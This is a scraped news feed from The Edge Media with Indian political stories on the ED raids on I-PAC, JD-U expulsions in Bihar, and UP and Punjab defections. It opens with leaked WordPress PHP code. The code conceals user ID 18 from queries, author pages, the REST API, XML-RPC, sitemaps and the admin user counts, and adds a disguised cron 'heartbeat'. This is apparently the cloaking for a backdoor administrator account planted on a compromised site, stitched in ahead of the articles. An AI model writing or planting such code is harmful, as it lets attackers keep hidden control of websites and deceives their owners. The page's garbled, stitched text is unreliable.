add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post I PAC Calls ED Raids Unsettling, Says Work Will Continue Despite Political Storm in Bengal appeared first on The Edge Media.
]]>In a statement, I PAC said the previous day had been difficult and unfortunate for a professional organisation like theirs. The firm said the developments raised serious concerns but added that it had fully cooperated with the investigating agency and would continue to do so in accordance with the law and due process.
The consultancy stressed that it has always followed high standards of professional integrity and accountability. It said that despite what happened during the raids, its team remained committed to continuing its work in an unfazed and unperturbed manner, guided by the same principles that have defined the organisation since its inception.
I PAC also highlighted that it has worked purely in a professional advisory role with several political parties across ideologies and regions over the years. These include the BJP, Congress, AAP, TMC, JD U and Shiv Sena. The firm clarified that it does not contest elections or hold political office and that its role is limited to transparent political consulting, independent of ideological differences.
The issue sparked intense political reactions in West Bengal on Thursday after Chief Minister Mamata Banerjee made an unannounced visit to the central Kolkata residence of I PAC director Pratik Jain and later went to the firm’s office in Salt Lake, where the ED was conducting searches in connection with the coal pilferage case. The chief minister alleged that the central agency was attempting to seize sensitive Trinamool Congress data related to the upcoming elections.
Mamata Banerjee was seen leaving Jain’s residence carrying a green folder and electronic devices, accusing ED officials of overstepping their authority. Later, at the I PAC office, security personnel were observed loading files into the chief minister’s vehicle, further intensifying the controversy.
The Enforcement Directorate subsequently approached the Calcutta High Court, alleging that key incriminating documents had been seized and removed from the agency’s custody with the help of state police. The agency claimed the documents were taken during the search operations.
The Trinamool Congress has also moved the high court, alleging that the ED seized sensitive and confidential political data meant for use in the upcoming assembly elections. The party described the action as arbitrary and mala fide and has sought directions to restrain what it called the misuse and dissemination of documents collected during the raids.
The post I PAC Calls ED Raids Unsettling, Says Work Will Continue Despite Political Storm in Bengal appeared first on The Edge Media.
]]>The post Bihar CM Nitish Kumar Expels 16 JD-U Leaders for Anti-Party Activities Ahead of Assembly Elections appeared first on The Edge Media.
]]>
Among those expelled is Narendra Niraj, also known as Gopal Mandal, the sitting MLA from Gopalpur in Bhagalpur district. Mandal, who has recently been embroiled in controversy, made headlines when he staged a protest outside the Chief Minister’s residence in Patna after learning that JD-U would not re-nominate him. Despite facing legal issues, including an FIR for defamation filed by a JD-U MP, Mandal attempted to seek re-election but was replaced by Bulo Mandal, a former Rashtriya Janata Dal (RJD) leader. This led Mandal to file his candidacy as an Independent.
In addition to Mandal, other expelled leaders include Sanjeev Shyam Singh, a former Member of the Legislative Council (MLC) and candidate for the Gurua assembly seat with Prashant Kishor’s Jan Suraaj Party, and former minister Himraj Singh, who is contesting independently from Katihar. Maheshwar Prasad Yadav, a former MLA from Gaighat in Muzaffarpur and the 2020 runner-up, has also been expelled after vocal criticism over JD-U’s choice of Komal Singh, a newcomer, as the party’s candidate in his seat.
Earlier expulsions included 11 leaders, such as former minister Shailesh Kumar, who is contesting as an Independent against JD-U’s official candidate in Jamalpur, and ex-MLAs Shyam Bahadur Singh and Sudharshan Kumar. All these leaders were accused of supporting rival candidates and opposing JD-U’s official nominees.
A senior JD-U leader remarked on the expulsions, saying that these individuals were acting against the party’s official candidates and undermining the party’s ideological stance.
Bihar’s 243-seat legislative assembly will go to the polls in two phases, on November 6 and November 11, with results expected on November 14. As the election season heats up, the JD-U appears determined to maintain discipline within its ranks to ensure its success in the polls.
The post Bihar CM Nitish Kumar Expels 16 JD-U Leaders for Anti-Party Activities Ahead of Assembly Elections appeared first on The Edge Media.
]]>The post Mukesh Verma, Seventh BJP MLA to quit the party Before UP Elections. appeared first on The Edge Media.
]]>BJP party MLA from Shikhohabad district Firozabad, U.P. has resigned from the party before Elections. In a statement, he said ” Many other leaders will also join Swami Prasad Maurya and support whatever decision he takes. He is our leader. ”
In colossal damage to the party before assembly elections, 2 top Ministers and 4 MLAs have quit the party and switched to Samajwadi Party.
The post Mukesh Verma, Seventh BJP MLA to quit the party Before UP Elections. appeared first on The Edge Media.
]]>The post As SP, RLD Inch Closer, UP Politics Has a Chance to Rise Above Caste Divisions, Religion appeared first on The Edge Media.
]]>
The alliance between the two factions would most likely result in a social coalition consisting of the major peasant community, the Jats, and a sizable Muslim population. For the first time since the communal riots in Muzaffarnagar in 2013, a series of farmer maha panchayat held over the last several months brought both communities together on a shared platform.
The post As SP, RLD Inch Closer, UP Politics Has a Chance to Rise Above Caste Divisions, Religion appeared first on The Edge Media.
]]>The post Akhilesh Yadav Not to Contest Next UP Assembly Elections, Says ‘Alliance Between SP-RLD Finalised’ appeared first on The Edge Media.
]]>
The Samajwadi Party failed to retain power in the 2017 Uttar Pradesh assembly elections, winning only 47 seats. The BJP won 312 seats in the 2017 Uttar Pradesh assembly elections, and Yogi Adityanath was appointed as the state’s Chief Minister.
The post Akhilesh Yadav Not to Contest Next UP Assembly Elections, Says ‘Alliance Between SP-RLD Finalised’ appeared first on The Edge Media.
]]>The post Amarinder Singh destroying himself: Ex-decision CM’s to join the BJP, according to Congress leaders appeared first on The Edge Media.
]]>
Randhawa has said, “Captain Amarinder Singh has destroyed himself by announcing a seat arrangement with BJP, whom he had always abused. BJP should hold an inquiry on Amarinder Singh over his whereabouts after the resignation in 1984 and his relations with Pakistan.”
There must be some pressure on him. Many cases have been filed against him and his children. We have no fear of Amarinder’s decision,” said the Deputy Chief Minister.
The post Amarinder Singh destroying himself: Ex-decision CM’s to join the BJP, according to Congress leaders appeared first on The Edge Media.
]]>